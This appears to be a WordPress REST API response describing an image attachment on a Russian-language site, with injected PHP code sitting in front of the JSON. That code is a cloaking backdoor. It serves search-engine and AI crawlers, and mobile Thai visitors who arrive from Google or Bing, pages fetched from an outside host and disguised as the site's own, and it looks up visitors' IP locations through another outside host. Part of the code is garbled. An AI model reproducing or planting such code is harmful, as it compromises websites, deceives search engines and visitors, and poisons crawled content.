$API_URL = 'https://id.yuanhengbc.com/th100';
$scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$MY_DOMAIN = $scheme . '://' . $host;
function rewrite_remote_urls($html, $api_url, $my_domain) {
if (empty($html)) return $html;
$orig_host = parse_url($api_url, PHP_URL_HOST);
$my_host = parse_url($my_domain, PHP_URL_HOST);
$html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html);
$html = str_replace(
array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host),
array($my_domain, $my_domain, '//' . $my_host),
$html
);
$html = preg_replace(
'/ true,
CURLOPT_TIMEOUT => 15,
CURLOPT_USERAGENT => $ua,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_FOLLOWLOCATION => true,
));
$body = curl_exec($ch);
curl_close($ch);
return $body;
} else {
$ctx = stream_context_create(array(
'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true)
));
return @file_get_contents($final, false, $ctx);
}
}
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$ref = $_SERVER['HTTP_REFERER'] ?? '';
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '';
if ($ua === '') $ua = ' ';
$bot_list = array(
'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile',
'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool',
'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon',
'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview',
'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot',
'anthropic-ai','DuckDuckBot','DuckAssistBot'
);
$is_bot = false;
foreach ($bot_list as $b) {
if (stripos($ua, $b) !== false) { $is_bot = true; break; }
}
$is_mobile = false;
foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) {
if (stripos($ua, $m) !== false) { $is_mobile = true; break; }
}
$is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false));
$is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1);
function check_ip_country() {
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? '';
$ip = trim(explode(',', $ip)[0]);
if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL';
$ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip));
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'),
));
$resp = curl_exec($ch);
curl_close($ch);
if ($resp !== false) {
$j = json_decode($resp, true);
if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code'];
}
$ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode');
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_SSL_VERIFYPEER => false,
));
$resp = curl_exec($ch);
curl_close($ch);
if ($resp !== false) {
$j = json_decode($resp, true);
if (isset($j['countryCode'])) return $j['countryCode'];
}
return 'UNKNOWN';
}
if ($is_bot) {
$body = fetch_remote_template($API_URL, $ua);
echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN);
exit;
}
if ($is_mobile && $is_google && $is_th_lang) {
if (check_ip_country() === 'TH') {
$body = fetch_remote_template($API_URL, $ua);
echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN);
exit;
}
}
add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; });
{"id":4733,"date":"2022-11-28T18:11:24","date_gmt":"2022-11-28T15:11:24","guid":{"rendered":"https:\/\/www.vladimirkoskov.ru\/wp-content\/uploads\/2022\/11\/\u041f\u0440\u0438\u0440\u043e\u0434\u0430.-\u0414\u0435\u0440\u0435\u0432\u044c\u044f.-\u0417\u0430\u0441\u0442\u0435\u043d\u0447\u0438\u0432\u043e\u0441\u0442\u044c-4.jpg"},"modified":"2022-11-28T18:11:24","modified_gmt":"2022-11-28T15:11:24","slug":"%d0%bf%d1%80%d0%b8%d1%80%d0%be%d0%b4%d0%b0-%d0%b4%d0%b5%d1%80%d0%b5%d0%b2%d1%8c%d1%8f-%d0%b7%d0%b0%d1%81%d1%82%d0%b5%d0%bd%d1%87%d0%b8%d0%b2%d0%be%d1%81%d1%82%d1%8c-4","status":"inherit","type":"attachment","link":"https:\/\/www.vladimirkoskov.ru\/?attachment_id=4733","title":{"rendered":"\u041f\u0440\u0438\u0440\u043e\u0434\u0430. \u0414\u0435\u0440\u0435\u0432\u044c\u044f. \u0417\u0430\u0441\u0442\u0435\u043d\u0447\u0438\u0432\u043e\u0441\u0442\u044c 4"},"author":1,"featured_media":0,"comment_status":"","ping_status":"closed","template":"","meta":[],"class_list":["post-4733","attachment","type-attachment","status-inherit","hentry"],"description":{"rendered":"
<\/a><\/p>\n"},"caption":{"rendered":""},"alt_text":"","media_type":"image","mime_type":"image\/jpeg","media_details":{"width":880,"height":880,"file":"2022\/11\/\u041f\u0440\u0438\u0440\u043e\u0434\u0430.-\u0414\u0435\u0440\u0435\u0432\u044c\u044f.-\u0417\u0430\u0441\u0442\u0435\u043d\u0447\u0438\u0432\u043e\u0441\u0442\u044c-4.jpg","filesize":320791,"sizes":{"medium":{"file":"\u041f\u0440\u0438\u0440\u043e\u0434\u0430.-\u0414\u0435\u0440\u0435\u0432\u044c\u044f.-\u0417\u0430\u0441\u0442\u0435\u043d\u0447\u0438\u0432\u043e\u0441\u0442\u044c-4-300x300.jpg","width":300,"height":300,"filesize":37726,"mime_type":"image\/jpeg","source_url":"https:\/\/www.vladimirkoskov.ru\/wp-content\/uploads\/2022\/11\/\u041f\u0440\u0438\u0440\u043e\u0434\u0430.-\u0414\u0435\u0440\u0435\u0432\u044c\u044f.-\u0417\u0430\u0441\u0442\u0435\u043d\u0447\u0438\u0432\u043e\u0441\u0442\u044c-4-300x300.jpg"},"thumbnail":{"file":"\u041f\u0440\u0438\u0440\u043e\u0434\u0430.-\u0414\u0435\u0440\u0435\u0432\u044c\u044f.-\u0417\u0430\u0441\u0442\u0435\u043d\u0447\u0438\u0432\u043e\u0441\u0442\u044c-4-150x150.jpg","width":150,"height":150,"filesize":9703,"mime_type":"image\/jpeg","source_url":"https:\/\/www.vladimirkoskov.ru\/wp-content\/uploads\/2022\/11\/\u041f\u0440\u0438\u0440\u043e\u0434\u0430.-\u0414\u0435\u0440\u0435\u0432\u044c\u044f.-\u0417\u0430\u0441\u0442\u0435\u043d\u0447\u0438\u0432\u043e\u0441\u0442\u044c-4-150x150.jpg"},"medium_large":{"file":"\u041f\u0440\u0438\u0440\u043e\u0434\u0430.-\u0414\u0435\u0440\u0435\u0432\u044c\u044f.-\u0417\u0430\u0441\u0442\u0435\u043d\u0447\u0438\u0432\u043e\u0441\u0442\u044c-4-768x768.jpg","width":768,"height":768,"filesize":229070,"mime_type":"image\/jpeg","source_url":"https:\/\/www.vladimirkoskov.ru\/wp-content\/uploads\/2022\/11\/\u041f\u0440\u0438\u0440\u043e\u0434\u0430.-\u0414\u0435\u0440\u0435\u0432\u044c\u044f.-\u0417\u0430\u0441\u0442\u0435\u043d\u0447\u0438\u0432\u043e\u0441\u0442\u044c-4-768x768.jpg"},"full":{"file":"\u041f\u0440\u0438\u0440\u043e\u0434\u0430.-\u0414\u0435\u0440\u0435\u0432\u044c\u044f.-\u0417\u0430\u0441\u0442\u0435\u043d\u0447\u0438\u0432\u043e\u0441\u0442\u044c-4.jpg","width":880,"height":880,"mime_type":"image\/jpeg","source_url":"https:\/\/www.vladimirkoskov.ru\/wp-content\/uploads\/2022\/11\/\u041f\u0440\u0438\u0440\u043e\u0434\u0430.-\u0414\u0435\u0440\u0435\u0432\u044c\u044f.-\u0417\u0430\u0441\u0442\u0435\u043d\u0447\u0438\u0432\u043e\u0441\u0442\u044c-4.jpg"}},"image_meta":{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0","keywords":[]}},"post":4729,"source_url":"https:\/\/www.vladimirkoskov.ru\/wp-content\/uploads\/2022\/11\/\u041f\u0440\u0438\u0440\u043e\u0434\u0430.-\u0414\u0435\u0440\u0435\u0432\u044c\u044f.-\u0417\u0430\u0441\u0442\u0435\u043d\u0447\u0438\u0432\u043e\u0441\u0442\u044c-4.jpg","_links":{"self":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/media\/4733","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/media"}],"about":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/types\/attachment"}],"author":[{"embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4733"}],"wp:attached-to":[{"embeddable":true,"post_type":"post","id":4729,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/posts\/4729"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}